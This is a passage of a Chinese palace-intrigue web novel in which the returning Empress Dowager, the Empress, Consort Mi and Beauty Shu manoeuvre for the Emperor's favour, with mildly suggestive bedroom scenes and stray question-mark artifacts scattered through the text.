待众人散去,太?后一路风尘,面?容就生出疲惫之色,她倚着凭几,赵月儿自后,为太?后轻揉额角,眼底心疼,“太?后不舒服,不如月儿去传嬷嬷请太?医。” 太?后身子?还算康健,只是永州距上京甚远,跋山涉水,她便有?些?吃不消了。 “哀家无事,歇息一日?就好过了。” 赵月儿叹息一声,“太?后于月儿有?大恩,月儿视太?后犹如生母,容月儿多嘴,太?后不该回这京城。” 殿内静悄悄的,炉内燃着一缕幽香。 皇宫繁盛,子?孙绕堂,看似富贵荣华,其乐融融,实则是假仁假义,虚与委蛇,每个人脸上都带了一层面?具。 赵月儿去扶太?后的手臂,眼眶闪出泪意,“太?后劳累至此,月儿实在心疼不忍。” “哀家何尝不知。” 太?后望着那盏香炉,皇帝是她亲生的儿子?,萧家又是她的母族,手心手背,割去哪块肉不疼! 她不再去想那个不让她省心的侄女,吩咐月儿去倒盏水,月儿下榻,去取热水煮茶,放到太?后手边。 太?后饮入喉中,缓下干涩,见月儿又要?为她取蒲扇清凉,顿时哭笑不得,“行?了,哀家又非要?你进宫伺候哀家的,过来陪哀家坐坐,说说话。” 她那个侄女一心为何皇后荣华富贵,与她通信,十句离不开九句请她劝导皇上,渐渐让她心凉。而她生养的皇帝,丰满羽翼后,也对她这个母后心生芥蒂,唯有?月儿这个孩子?陪在身边,懂事妥帖,合她心思。 月儿没依太?后,仍去取了蒲扇,她故作嗔怨,“太?后畏热,怕是没等月儿歇一会儿,您又开始念叨天热,害得月儿还得再多跑一回。” 这丫头养得久,脾气也大了。 太?后似恼不见恼意。 月儿扇风时,见太?后鬓发间?生出的缕缕白丝,心尖泛酸,四月前,太?后收到宫中那封信,就时常夜中难免,银丝也越来越多,她心疼,却无可奈何,这皇城之事,远远比她这个太?守府庶女的无奈更多。 …… 翌日?天明,太?后传话六宫不必过去问?安。赵月儿去了永和宫通传太?后的意思,她见到宓妃,先做了礼,明裳微笑着吩咐宫人给赵姑娘赐坐,赵月儿推拒了宓妃的好意,她望着宓妃看她清亮的眼珠,不由生出几分好感?,态度随之多了些?恭敬。 “太?后娘娘思念皇子?公主,请宓妃娘娘携皇子?公主前去寿康宫。” 太?后娘娘是要?见皇子?公主,还是要?见她? 六宫也不只有?明裳这养着皇子?公主,明裳想到昨日?迎太?后回宫,她不是没察觉出,太?后在有?意压她,她眼底划过一抹担忧。 她敛起心绪,“有?劳月儿姑娘告知本宫。” 她想了想,见赵月儿衣裙尽是玫瑰花样,正好自己做了玫瑰熏香,吩咐月香取来,送与赵月儿,“本宫自己做的,不知月儿姑娘可否喜欢。” 赵月儿昨日?入宫后,一早就有?嫔妃要?与她亲近,私下送她许多珠宝首饰,赵月儿不喜这些?,宓妃娘娘却是妙人,送她玫瑰熏香。她低头瞄一眼自己衣裙的玫瑰花样,不得不赞服这宫中女子?的心思。 她没有?推拒,收了宓妃的好意,请身离开。 待赵月儿走了,月香见娘娘愁眉不展,道:“不如奴婢去乾坤宫请皇上,有?皇上在,太?后总不能为难娘娘。” “不可。”明裳摇头,让他们谁也不准去乾坤宫报信,倘若因这点小事,就劳烦皇上,天长日?久,那位总会生出厌烦。她养着绥儿安儿,太?后总不能轻易就将?她如何。 明裳乘上仪仗,去了寿康宫。 到了宫中,仍是赵月儿引她去见太?后,太?后问?她皇子?公主离开永和宫可有?哭闹,明裳一一柔笑答话,很?是温顺,太?后又让她把皇子?抱过来,乳母抱着绥儿到太?后面?前。 太?后摸着孙儿的额头,昨日?她已看过后宫嫔妃所生的三位皇子?,从相貌上看,确实只有?宓妃生的皇子?肖似皇帝,这眉眼有?九分相像。 她抬眼去看宓妃的衣着,如昨日?一般,这女子?容色艳丽,与她请安时,总穿得这样素净。 规规矩矩地坐着,眼神干净,面?庞柔和,又诞下两个皇嗣,单论这些?,太?后无不满意。 便是在这时,殿外的宫人通传,“禀太?后娘娘,圣驾过来了。” 在听到这声通传后,太?后脸上尤有?的笑容淡下。 明裳眸色惊讶,也在想,皇上怎么?这个时候过来了。 李怀修到内殿后,与太?后请安,他看一眼那女子?,待宫人摆下圆凳,他掀衣坐下身,笑道:“儿子?刚下朝,过来看看母后。” 殿内乳母抱着的安儿咯咯笑了两声,打破凝滞,太?后不咸不淡地白了皇帝一眼,何时看她不可,非要?赶在宓妃在的时候。 太?后懒于说破皇帝的心思,明裳见此,知晓自己不合适再留下去,起身福礼,带着绥儿安儿出了内殿。 待宫人都下去了,太?后也没让赵月儿留下,内殿只有?母子?二人。 太?后才忍不住道:“哀家不过叫宓妃过来说说话,皇帝这就急着过来,是怕哀家吃了宓妃不成?” 李怀修面?容平淡如常,“母后多虑,儿子?是怕宓妃性?子?得罪母后。” 倒底是不是她多虑,太?后如何不知,“你啊,哀家自己生出的儿子?,如何不知你的性?子?。” 李怀修不想再多提宓妃,他扶着太?后的手臂,走去窄榻,上面?摆着一盘棋子?,他道:“儿子?今日?无事,陪母后下下棋。” 母子?二人坐下,李怀修见太?后面?容尤有?惫色,又道:“儿子?听闻母后在永州近来时有?疲乏,永照在民间?寻了一位名医,儿子?已让他入宫,后午给母后看看身子?。” 太?后轻叹一声,“哀家什么?病,哀家自己清楚。” 李怀修捻过拇指的扳指,抿唇未语。 母子?二人一时无言,殿内沉寂下来,唯有?玉石落子?之声,赵月儿早把小窗支了透气,窗外传进几声清脆鸟鸣。 太?后良久才开口?:“哀家并非不喜欢宓妃。” “只是你身为皇帝,因一女子?而废这么?多心神,终将?是大害。” 李怀修拿起手边的茶水,眼皮子?动也未动,只漫不经心地道了一句,“儿子?知晓。” 却不知是不是真的知晓。 离宫数年间?,皇帝棱角日?渐锋利,早已非当年她身边唤她母妃的皇子?,她的这个儿子?,性?子?不像先帝,倒肖似世?\\祖\\爷,十分有?主意,又雷厉风行?。 太?后无奈地放下手中棋子?,“哀家知道你不喜听哀家唠叨这些?,哀家言尽于此,也有?些?累了,你要?忙着朝政,不必勉强自己来陪哀家。” 她这次回宫也不止为了宓妃,只希望,皇帝只是一时新鲜,待他日?新人进宫,能渐渐淡去宓妃的宠眷。 第088章 第 88 章 李怀修从寿康宫出来乘上銮舆, 没得皇上吩咐,全福海思忖须臾,只得请示圣驾可是要回乾坤宫。 良久, 他身子躬得发僵, 听銮驾内传出皇上的话声,他微微一怔, 有点惊讶,扬声下令,“摆驾永和宫。” 永和宫得信, 明裳瞄了眼漏刻,心生惊讶,她从寿康宫还未回多久,皇上这么?居然快到她这儿来。 明裳没再多想,领着宫人出殿门迎驾。 她到门前蹲身做礼, 男人手掌扶她起来, 往殿内去走。明裳眼珠偷偷瞧了瞧男人的脸色, 从寿康宫出来,这位情绪似乎不是很?好。 到内殿,宫人奉上茶水, 李怀修靠着圈椅, 看?这女子红袖添香地给他沏茶,不由想起寿康宫中,这人规规矩矩坐在那儿的模样。 他接过茶水,敷衍地抿下一口,自然地把人拉入怀中, 捏着女子的耳珠,问她, “母后与你说了什么??” 明裳伏在男人胸怀,想了想,摇头,“太后娘娘问了绥儿安儿,还没与臣妾说几句话,皇上就过来了。” 听她这语气,是嫌弃他来得太早? 李怀修眯了眯眼,拨过她颊边的一缕碎发,指腹又随意地捏那张小脸,像得了什么?趣味。 男人眸色微暗,明裳觉得这位今天怪怪的,她双臂环住男人的后颈,主动献上香吻。 这位最近很?喜欢亲她。 她刚吃了玫瑰花糕,甜得发腻。 不知何时,明裳由侧身变成?跨坐,眼眸水雾弥漫,红唇中时而闷出几声娇口今,她仰起雪白的脖颈,李怀修指腹捏了两下,正要深入,就在这时,耳边忽听一阵清脆的哭声。 明裳回神,脸颊登时生出羞色,她推了把男人胸口,李怀修拧了拧眉,神色有被打搅的不悦,他不徐不疾地拿出手掌,沉声开?口,“公主怎么?了?” 明裳急忙地整理对襟,便听屏风外的哭声一阵比一阵厉害,乳母急忙告罪,“回皇上娘娘,小公主方才睡醒,要找娘娘就哭的厉害。” 安儿黏她,有事夜中也要她陪着睡,明裳抬抬眸子,觑到男人生黑的脸色,哭笑?不得,她红唇亲了下男人侧脸,眼珠揶揄,“这可是皇上让臣妾生的。” 李怀修懒得看?她,把人从怀里扯下来,让那乳母抱着安儿进殿。 说来也奇怪,小安儿似乎有所?感觉,进了母妃殿中,哭声就渐渐小了,直到被母妃抱到怀里,抽抽鼻子,彻底不再哭闹,反而往母妃怀里拱了拱。 明裳哄着小安儿,抱到男人眼前,“安儿,这是你父皇。” 她眼珠一转,要送到男人怀中,李怀修没抱过孩子,前几个皇子公主都?是有乳母抱给他看?。 他面容紧绷,僵硬地抱过女儿,安儿恋恋不舍地望望母妃,张开?小嘴,正要哇地哭出来,乌溜溜地瞳仁就看?到了抱着她的男人,感觉些许亲切,她鼓鼓小嘴,勉强地由父皇抱一会儿她。 乳母见?之,在一旁讨喜道:“小公主只亲近皇上娘娘,瞧瞧一点都?不哭了。” 李怀修抱着女儿,手臂慢慢放松,眸色也渐渐柔和下来,他仔仔细细看?过女儿的眉眼,“安儿生的像你。” 明裳不乐意,“臣妾生的,自然像臣妾。” 那女子捏着女儿的脸蛋,李怀修望着母子二人,不由在想,安儿这爱哭爱闹的性子,怕是也像了这女子。 …… 太后回宫的三日?后,皇后病愈,六宫如常去坤宁宫问安,没人敢多嘴去问,为何太后回宫,皇后的旧疾这样快就好全。 各宫到寿康宫问安这日?,皇后方从殿外进来,落下座,殿外就有宫人进殿,到皇后身侧附耳禀话,皇后细眉微拧,神色难看?。 贤妃眼眸打量一瞬那禀话的小宫女,轻声去问,“臣妾见?皇后娘娘这般心烦,是出了何事?” 皇后无奈,“不是什么?要紧事,徐答应到寿康宫来的路上,经?过御花园湖亭,不慎滑了一跤,跌到水里,幸而伺候的宫女得力,会些水性,才得以把人救出。” 闻言,在场的嫔妃都?掩了掩唇角,忍不住失笑?,唯有贤妃察觉,徐答应到寿康宫,为何要经?过御花园。 从寿康宫中出来,贤妃立即命人去打听,果不其然,得知今儿圣驾也去了御花园。 不怪徐答应心急,宓妃能?侍寝后,皇上就再没去过别?的宫里。 眼下这形势,她反倒举棋不定,该把赌注押到哪位皇子身上。 此时,寿康宫中,六宫嫔妃散去,皇后仍未离开?。 她摘下护甲,代替了赵月儿去揉按太后的额角解乏,“侄女数年不见?姑母,只能?从书信寥寥几字间得知姑母的音讯,侄女实在惭愧。” 太后如何看不出自己这个侄女的心思,当年她为皇帝从萧家挑选正妃,萧家三房,她不止有这一个侄女,太后原本看?中的是长房的三姑娘,知礼守节,进退有度,谈吐间可见?心胸不属于男子,做正妃就是要有容人之量。 将要定下时,太后却得知那三姑娘意外落水,被安远候府的庶子所?救,众目睽睽之下被看?了身子,这世道于女子的名节甚为苛责,太后可惜三姑娘,不得已再三挑选下,挑中了这个侄女。 直到她宣昭萧家长嫂入宫那日?,才意外得知,那三姑娘落水,全是败这个侄女所?赐。事已定下,再无更改。入王府后,她见?办事还算稳妥,便也慢慢接受,直到这么?多年过来,这个侄女按捺不住,想要养下一个皇子。 太后没有看?她,“既是惭愧,待哀家回永州,皇后不如与哀家一同过去。” 皇后面容僵住,她看?一眼太后,却看?不出太后这是与她玩笑?,还是真的将她带去永州。 她微微失神,斟酌道:“姑母,臣妾是六宫之主,离开?皇城,怕有不妥。” 太后淡淡笑?了声,微阖眸子,“凡事看?得太重,犹如束缚己身,挣脱不得。” 她这个侄女,凡事看?得太重,终将走上一条死?路。 皇后心下一紧,望向太后的面容苦笑?地牵了牵唇线,稍许她起身,跪到太后面前,“侄女谨记姑母教诲。” 太后喜静,也有些乏了,没再留她,皇后离开?,殿内有一瞬间的安静。赵月儿推开?门,手中捧着炖煮的羹汤,放到凭几上,“太后还没用?早膳,月儿去膳房亲自做了梨子汤,太后尝尝。” 她盛出糖水,放了半块口齿生津的梨子。 太后招呼她坐下,“好孩子,过来陪哀家说说话。” 赵月儿便坐下身。 “方才你进殿时,可遇到了皇后?” 赵月儿不解太后为何问她这事,点了下头,“皇后娘娘问月儿在这宫里可还习惯,缺什么?尽管与皇后娘娘说。” 她手中的汤勺搅了搅,待梨汤温热,才递到太后嘴边。 太后饮下梨汤,摇头笑?了笑?,“那哀家再问你,六宫嫔妃问安,你以为宓妃的性子如何?” 赵月儿眉眼挑了下,想起宓妃送给自己的那个玫瑰熏香,很?是好闻,她便为宓妃说了句好话,“宓妃娘娘人美心善,柔和温情,又有些女儿家恰到好处的娇气,月儿情不自禁的喜欢。” 太后讶然,神色若有所?思。 …… 寿康宫并无多少伺候的宫人,皇后出殿,正遇上了送汤的赵月儿,她多关照了几句,并未将一个没什么?心机的赵月儿放在眼中。 待出宫门,皇后扶着文竹的手乘上仪仗,眸色一瞬就冷了下来。 姑母回宫这么?久,从未说起三皇子,三皇子总不能?一直养在张嫔身边。 姑母与她说的那些话,皇后听进去了,却觉得讽刺。劝她放手,姑母又何曾真正的放过自己。当年先帝在世时,倘若姑母狠不下心,又怎能?坐到今日?的位子。 她比姑母差的,不过是因为当今不似先帝那样昏庸,皇后不觉得自己有错,姑母如今想要的悉数握在手中,自然不会认为有什么?重要。可她怎能?甘心,她如今身边没有一个皇子,待他日?再三皇子大?了放到身侧,只会像宝珠一样难以养熟。 皇后坐在仪仗中,心烦意乱地揉了下额角,如今姑母不帮她,她也不能?再轻易动手,还需徐徐图之。 只是,时日?不能?太久。 她沉下眼,思虑着后宫的可用?之人。 …… 皇后处理六宫事务,又要照顾宝珠,自顾不暇,每日?在寿康宫陪不了太后多久,六宫嫔妃有心侍奉太后,都?被不动声色地挡了回去。 舒美人换了身湖蓝色的绣荷花襦裙,到寿康宫外,奉出了一卷佛经?,赵月儿接了,不一会儿出来,请舒美人进殿。 寿康宫内殿,太后手握佛珠,倚着窄榻上宝相纹花样的凭几,发鬓只簪了一只檀木的簪子,像入寺修行的老妪,气度却浑然威仪,令人不敢直视。闻她入殿,太后微微抬眼,唇边浮出慈和的笑?容。 舒美人端庄地服了身子,低眉顺目,姿容不比宓妃美艳,也可称是小家碧玉。 “嫔妾美人徐氏,请太后娘娘安,太后娘娘万福。” 太后仔细打量过舒美人,满意地点了点头,“你祖父近来可好?” 舒美人所?答有条有理,“劳太后娘娘记挂,祖父身体康健,嫔妾入宫之时,祖父知晓太后娘娘诵经?礼佛,特给嫔妾带上这卷经?书,待他日?献给太后。” 那卷佛经?她早早带在身边,也是为以来日?,能?得见?太后。 舒美人聪明,她无法从宓妃身上下手,只能?去求见?太后。 如今后宫中宓妃诞下龙凤双胎,受宠愈甚,已无人可及,她多次到御前送羹汤,皆未得见?皇上一面,那条路子行不通,她只能?另行別路。 她低低地垂下眼睑,“嫔妾在谨兰苑整日?无事,想时常到寿康宫陪伴太后,请太后准允。” 太后脸上挂笑?,看?着恭敬而立的舒美人,“你有心了。” 舒美人凭借一卷佛经?,入了太后眼,六宫嫔妃到寿康宫问安时,常见?舒美人服侍在侧,俨然如亲女。 寿康宫中,这日?问安,太后扶着赵月儿走出内殿,方落下座,众人起身福礼之际,就见?舒美人脚步匆匆地捧着披风而出,面带嗔色,“入秋转凉,太后注意身子,多披件衣裳,总是好的。”她又恼着去对赵月儿,“月儿也不提醒太后。” 这样熟稔,叫六宫嫔妃看?了眼酸,只恨自己不得太后欢心。 明裳神情一顿,微微拧眉,注意到太后对舒美人的提醒有轻微的不喜。 她猜测,太后不是不喜舒美人,而是不喜舒美人责怪赵月儿,太后对赵月儿的保护,若是不知情的人,怕是要以为赵月儿是太后生女。她不咸不淡地提了提唇线,舒美人亲近太后,就不知要先捧着赵月儿? 舒美人急于攀附太后,自以为自己的身份高?于赵月儿,便不曾把这个等同于伺候在太后身侧的宫女放入眼中。 待众嫔妃散去,太后眼光就淡了下去,她扶着赵月儿的手起身,舒美人要上前去扶,被太后不动声色地躲避了回去,“你伺候哀家有段日?子了,过几日?有太医为哀家诊脉,你去御前通禀皇上。” 舒美人意识到什么?,神情惊愕,“太后娘娘!” 赵月儿扶着太后的手臂,眉眼也有一分忧色,她看?出太后是在为她说话,正想开?口劝上一句,就被太后用?眼色瞪了回去。 永州时,太后到佛寺上香,途遇被主母设计的赵月儿,心软救下,赵月儿性子温顺,脾气又好,但太后受不得有外人欺负自己身边的人。 她念及舒美人伺候了这段日?子,给了她想要的,日?后也不必再伺候她身边。 太后不想再听舒美人求情,移开?眼,“哀家乏了,你不必跟着哀家伺候。” …… 当夜,圣驾歇在永和宫,宫人在殿外躬着身子等主子吩咐备水,寝殿中,男人的手掌禁锢着明裳的腰肢,没让她乱动,小月复胀得厉害,明裳有点难受,想推开?,又被强硬压着。她遂作罢,眸子嗔了瞬,呼吸绵绵。 “皇上……”明裳那嗓子娇滴滴的,李怀修喉咙滚了滚,更深了些,感受到怀中人在发抖,眼眸几近失神,李怀修吻她唇角,恶人先告状,“还敢不敢再勾朕了?” 待明裳能?说一句完整的话音,边哭边委屈地说不敢了。 胡闹一通后,李怀修才把人放开?,他披衣坐起身,压了压眉心,正要吩咐宫人备水,腰身又被一双玉臂缠住,那小妖精在后面又不知死?活地磨蹭她,“臣妾还有一件事没跟皇上说呢!” 李怀修搂过人,捏一把她脸蛋,问她何事。 那人伏在他怀里,披着薄薄的衾衣。 “舒美人近来一直伺候在太后娘娘那儿。” 乍然听这女子提起太后,李怀修略一沉思,近日?他前去寿康宫,确实有见?舒美人服侍在太后身侧。皇后分身乏术,他忙于朝政,后宫有嫔妃能?伺候太后,也可昭示孝悌之道,李怀修便没多加在意。 他敛眸,“说这个做甚?” 明裳那软乎乎的身子在男人怀里磨了磨,指尖儿又入衾衣去戳男人胸口,勾着他撒娇,“臣妾知晓舒美人伺候太后娘娘是尽孝,但要伺候皇上,臣妾可不依!” 那只柔荑一点一点向下,在他小腹间游来游去,李怀修呼吸倏然绷紧,一把抓住了那只乱动的小手,从衾衣里掏出来,脸色甚黑,“无法无天了!” 他有心压压这女子日?渐养肥的胆子,“舒美人服侍太后有功,朕召幸她也是理所?应当,朕这后宫难不 成?为你一人都?做了摆设?” “臣妾不管!”明裳不管不顾地抱着男人劲壮的腰身,脸蛋埋入李怀修胸怀,不管不顾地耍赖,“舒美人居心不良,故意与臣妾争宠,皇上不能?宠她,只能?这样宠着臣妾!” 李怀修把人揪出来,冷冷斥她一句,“胡闹!” 他没有答应这女子,要唤人备水,手掌又被她拉住,那人眸子委屈巴巴地泛红,就这样可怜地望着他,小心翼翼地怕他生气,底气其实不足,弱弱地小声,“那皇上要召舒美人侍奉,也不能?越过了臣妾。” 李怀修硬生生止住了动作,想到她拼命生下的两个孩子,心口不由生疼,这人能?气他,也总能?让他无可奈何。 他叹息地把人拥入怀间,“朕答应你。” 宫人服侍皇上到净室沐浴,明裳扶着月香到妆镜前坐下,对着铜镜照了照自己这张脸蛋,眼眶生红,面娇玉软,这样的容色,即便是哭,也能?哭得梨花带雨,惹人生怜,铁石心肠也要化作了绕指柔。 明裳没想过那位会专宠于她,只是倘若舒美人有太后倚仗,可就不如从前好对付。她得先给那位提前说些舒美人的坏话,即便舒美人得召侍寝,那位想起的也是自己。 舒美人侍奉太后也有段日?子,经?一早寿康宫问安那事,明裳猜想,太后是不愿再让舒美人伺候在侧,为皇上引荐舒美人,就在这几日?,她今夜说了,皇上待过几日?见?到舒美人,也能?记起她的话。 净室传出动静之前,明裳起了身,扶着月香的手准备沐浴。 …… 太后的动作要比明裳预料得快,两日?后,宫外人进殿通禀,太后身子不适,舒美人去了御前请皇上过去看?看?。 寿康宫中,李怀修跨进内殿,太后靠着引枕,掺有银丝的鬓发束一支金簪,面容疲惫。太医看?过诊,退身,就见?皇上进了殿,来不及直起腰,再次躬身做礼。 李怀修抬手免礼,坐到床榻边,问太后身子如何。 那太医道太后娘娘是心绪郁结,又受风寒,须得静养,慢慢调理。 李怀修沉下脸色,斥声,“你们是怎么?伺候的,居然让太后受了风寒!” 宫人们神色惊惧地跪下身子,大?呼请皇上恕罪! 太后抵唇咳了两声,“皇上不必怪他们,是哀家从永州回京,尚不习惯这皇城。” 殿内有嫔妃来看?太后,皇后脚步匆匆进殿,鬓间的步摇摇晃作响,她立到榻边,忧心地唤了声姑母。 “姑母身子如何?” 太后摆了摆手,道了句“无事。” 舒美人捧着汤药进殿,“汤药煎好了,嫔妾伺候太后服下吧。” 闻言,皇后先朝那道人声看?去,见?进来的是舒美人,她眼底闪过一抹惊讶。 舒美人今日?有意描了妆容,这是太后给她的机会,太后已经?无意再让她侍奉,倘若错过这回,她不知还有什么?法子去入皇上的眼。 她顶着殿内中人的视线,轻呼了口气,定下心神走向床榻旁,柔声道:“太后不喜苦药,嫔妾吩咐宫人备了梨汤,太后服药后也好祛祛口中苦味。” 皇后在太后与舒美人之间打量过,露出和煦的笑?意,“舒妹妹伺候太后这段时日?,是辛苦了。” 舒美人脸颊飞上一抹晕红,她含羞带怯地偷瞄了眼坐在榻边,始终没有开?口的皇上,“嫔妾尽孝于太后娘娘身侧,不觉辛苦。” 床榻边,李怀修听着二人一言一语,眼光淡淡,他起了身,“母后,前朝有政务尚未处理,待儿子忙完再来看?望母后。” 太后没有留他,“哀家知道你忙,哀家这里不缺人,你不必留在这陪着。” 李怀修嘱咐宫人照顾好太后,起了身,殿内众人福礼恭送。 圣驾离开?寿康宫,太后精神不济地揉了揉额角,赵月儿为太后掩好被子,“殿外有宫嫔看?望太后,太后若不想见?,月儿这就去回了。” 太后没有答赵月儿的话,而是让皇后与舒美人先退下,皇后没有继续留着,福了身,舒美人迟疑地看?去一眼,怕太后更不喜她,没有提什么?,朝太后福身,出了内殿。 待殿内没了人,太后才拍了拍赵月儿的手,“传宓妃进来,其他人各自散了。” 后午,明裳留在寿康宫中,在碧纱橱内为太后抄写佛经?。 至晚膳时,太后将将转醒,目光触及,是碧纱橱内女子端正写字的侧影,长睫翘鼻,月貌花容,这样好的容色,又有些聪慧,吩咐她抄写经?书,不多嘴去问,规规矩矩地抄了这么?久,是个有心思的,不怪皇帝喜欢,太后长长叹息一声。 太后传宫人进殿伺候,慢条斯理地盥洗过,才放明裳离开?。 …… 深夜,敬事房的小太监到了御前,李怀修扫一眼六宫嫔妃的名册,不知有意无意,舒美人的名字放在了前头,描上了金花边,他推了推拇指的扳指,靠到銮座发问,“来乾坤宫前还去哪儿了?” 那小太监诚惶诚恐,如实答话,“奴才受太后娘娘传召,去了寿康宫。太后娘娘说近来舒美人替皇上在寿康宫尽孝,甚是有心,请皇上去谨兰苑关照关照舒美人。” 第089章 第 89 章 得知圣驾去谨兰苑的消息, 明裳小?小?郁闷了下,那位哄她时话说得好听,转头便?就忘了干净。 她捏捏女儿?的小?脸, 语重心长地叮嘱, “安儿?日后可不能被男人那张嘴蒙骗了,你父皇就知道哄着母妃, 说得好听,又去了别的嫔妃那处,哪还是金口玉言。” 安儿?听不懂母妃在嘀嘀咕咕说些什么, 只咯咯地看着母妃笑?,被遗弃一旁的绥儿?由母妃哄着妹妹,自己一个团子不哭不闹地玩儿?。 明裳不由心疼一直被冷落的儿?子,都说会哭的孩子有?奶吃,果不其?然, 安儿?怕是随了她的性子, 最会撒娇争宠, 反倒是绥儿?安静,也不认生,上回张嫔到永和宫, 要去抱安儿?, 还没等接到怀里,安儿?哇的一声作势要哭个昏天黑地,明裳忙忙抱回去哄,反而绥儿?由张嫔抱着,甚至乖觉。 张嫔笑?话她分?明生的是一胎, 性子反倒是一南一北。 明裳心生愧疚,试探着放下安儿?, 去抱她哥哥,安儿?圆溜溜的眼珠正盯着窗幔的迎春花,不知那寻常的迎春花又得了这位祖宗什么喜爱,安儿?对母妃的行经一无所觉,明裳轻手轻脚地放下她,迅速抱起一旁躺着的绥儿?,见安儿?没有?哭闹,明裳舒了口气。 小?绥儿?见母妃抱他?,肉嘟嘟的脸蛋似是也十分?欢喜,不由朝母妃咧开了小?嘴。小?家伙儿?倒底有?兄长的气度,这么小?就知道让着妹妹。 …… 此时,谨兰苑。 闻圣驾至,舒美人携一众宫人出殿迎驾。 已是入秋,她仿若未觉秋时凉意?,着一袭掐腰的湘妃色襦裙,鬓间簪坠金珠梨花步摇,笑?意?盈盈蹲下身?,“嫔妾请皇上安。” 李怀修望着眼前女子,不咸不淡地颔首,一手负于身?后,“爱妃不必多礼。” 与舒美人所期待的不同,她没有?等到皇上亲自扶她起身?,唇边的笑?意?随这凉风变得僵硬,转瞬即逝,被她遮掩。皇上既然来了她这儿?,那些锦上添花就不是十分?要紧,也不必在乎。 入殿后,李怀修掀起坐去窄榻,凭几上正摆着一盘残棋,他?扫一眼,唇线淡淡地勾了下,是前朝大家留下的棋谱,他?这后宫着实没少琢磨他?的喜好。 舒美人奉茶时,见皇上正看凭几的棋盘,她以为这位喜欢,又看出自己的心意?,面颊生红,将手中?的茶水放到男人手边。 “嫔妾愚钝,不得其?解。本是想去御前请教皇上,又怕扰了皇上理政,故而只能一人寻求解法,可惜嫔妾于棋艺确实没有?造化,至今日也未能破这盘残棋。” 李怀修抿一口茶水,盯着上面的棋子,摆了摆手,“你能想到这一步,已然是有?几分?天资。” 得这一句夸赞,舒美人喜不自禁,她坐下身?子,踌躇请教。 李怀修捻着扳指,似笑?非笑?,他?早已习惯了六宫编排出的说辞,便?是这盘棋局,他?也看过?不下十次,至今日,便?有?些腻了,没觉出什么新意?。 他?不由想起那女子与他?作天作地时,说舒美人居心不良的坏话,她倒是堂堂正正,不怕自己斥责降罪。以往还知收敛,而今有?了孩子,是愈发无法无天。 李怀修敛下心思。 “朕有?这本棋谱的残本,后面对破棋之法详细做解,你若喜欢,明日朕让人送到谨兰苑。” 舒美人怎会真的想要这破棋之法,她无非是想借此机会,接近皇上。 不知是不是她的错觉,这位人虽然在谨兰苑,但始终是心不在焉,好似漫不经心地敷衍于她。 舒美人不由紧张,她起身?谢恩,“嫔妾多谢皇上。”顿了顿,又道,“只是这棋谱难寻,嫔妾怕夺皇上所爱。” “无妨。”李怀修让她起身?,“你服侍太后身?侧,也辛苦了。” 舒美人坐回窄榻,唇边浮笑?,低眉摇头道:“嫔妾左右在谨兰苑也有?闲暇,太后娘娘宽和,嫔妾愿意?服侍在寿康宫,不觉辛苦。” “更何况,”她抬起眼,“嫔妾与月儿?妹妹也很是相投。” 舒美人忽然提起赵月儿?,也是想试探皇上的意?思。 她不解,太后为何带赵月儿?入宫。原以为太后是想让赵月儿?入后宫,服侍在皇上身?侧,可过?去这么久,太后好似没有?这个意?思,甚至从未让赵月儿?去过?御前。 也是因?此,她才对赵月儿?卸下戒备。赵月儿?性子柔软纯善,又是不同于后宫嫔妃的心性,只怕要进后宫伺候,很难不入这位眼中?。 李怀修捻着扳指,掀起眼皮,淡淡看她一瞬,舒美人心神一跳,倏忽垂下了眸子,不由捏紧手心。 她没再继续这个话说。 时候不早了,皇上到谨兰苑,不知何时要落灯。 舒美人咬咬下唇,就在她红着脸要开口时,听皇上先道:“前几日朕得你父兄的奏折,虔州剿匪,你父兄立下大功,朕还未做以褒奖。你服侍太后又颇为尽心,朕欲册封你为从三品才贵人,如何?” 舒美人眼神惊愕,很快眉眼泄出一丝喜色,她提裙跪身?谢恩,“嫔妾叩谢皇上圣恩。” 贵人的位分?于她没有?皇嗣的嫔妃而言已是极高,皇上有?心为她晋升,可见她这段日子是没有?白费心思。 李怀修眼底划过?一抹淡色,转瞬即逝,不徐不疾地推了推拇指的玉戒。 宫人进殿剪了烛芯,舒美人正要询问皇上时候不早,可此时安置,殿外忽传进一阵吵嚷声。 紧接着,全福海躬着身?子着急地进殿通禀,“皇上,钟粹宫人传话,三皇子生了湿疹,哭闹不止,请皇上过?去看看!” “什么?”李怀修立刻沉下了脸色,寒声发问,“三皇子怎会起了湿疹!” 全福海吓得身?子一颤,忙急声回禀,“事出突然,太医已经赶过?去了,眼下奴才也不清楚。” 其?实问起缘由,全福海确有?揣测。罗常在胎大不好生产,三皇子生下来就体弱多病,不好养活,前段时期三皇子吐奶,钟粹宫太医几乎是日日待守,张嫔也衣不解带地照顾,幸而虽吃得少些,也一直无事,怕是入秋转凉,三皇子才一时不适,发了病症。 李怀修头疼地捏捏眉心,也清楚三子下生体弱,若非皇后毫无怜惜幼子之心,致使三子下生就有?弱症,他?也不会禁足皇后到现在。 他?没有?心思坐下去,起了身?,“朕去钟粹宫看看三皇子。” 皇上这一走,怕是再难回来,牵涉皇嗣,舒美人不敢强行挽留皇上,她敛下心中?不甘,福了身?子,“嫔妾恭送皇上。” 圣驾往钟粹宫去,舒美人站在宫门前,只恨是今夜出了这事。 须臾,她平复下心绪,没想就这样安寝,看着圣驾离开的方向,对伺候的翠菊道:“三皇子染病,去看看也是好的。” …… 钟粹宫中?,上回大皇子身?上生了疹子,换过?一回乳母,大皇子生来没生什么大病,反倒是养在钟粹宫的三皇子三天两头哭闹,便?是伺候三皇子的乳母就拨了四个,又有?日日轮值的太医守着,安排得如此精细,也难免三皇子时常有?些小?病。 今日三皇子身?上生了湿疹,是因?入秋转凉,三皇子体弱压不住凉气才发病,顾念三皇子年岁尚小?,太医开了清疹子的药膏涂抹,待过?几日就可消退。 张嫔面容有?病态的苍白,她抱着啼哭不停的三皇子坐在床榻边,心尖儿?紧了紧,虽不是她亲生的,可养了这几月也养出了感?情?。 三皇子要比温儿?听话,平日里安安静静。倒底不是亲生儿?子,她照顾温儿?要比照顾三皇子多,但这孩子乖,见她哄着哥哥,便?一个人乖乖地盯着嬷嬷手中?的小?老虎玩儿?。 她轻轻叹了口气。 宫人进殿通禀,圣驾到了钟粹宫,张嫔起身?间,眼前忽的一黑,幸而水琳眼疾手快,扶住了她。 “主子!” 水琳惊呼,“主子的手怎么这么烫!” 水琳接过?主子怀中?的三皇子交给乳母,担忧地皱眉,扶主子到床榻上坐好,张嫔这才有?意?识,她摸了摸自己的额头,是有?些热。 这时,李怀修已经匆匆进了殿,刚到屏风处,就听见里面稚子哭啼呜咽的动静,他?捏紧扳指,拂袖入里。 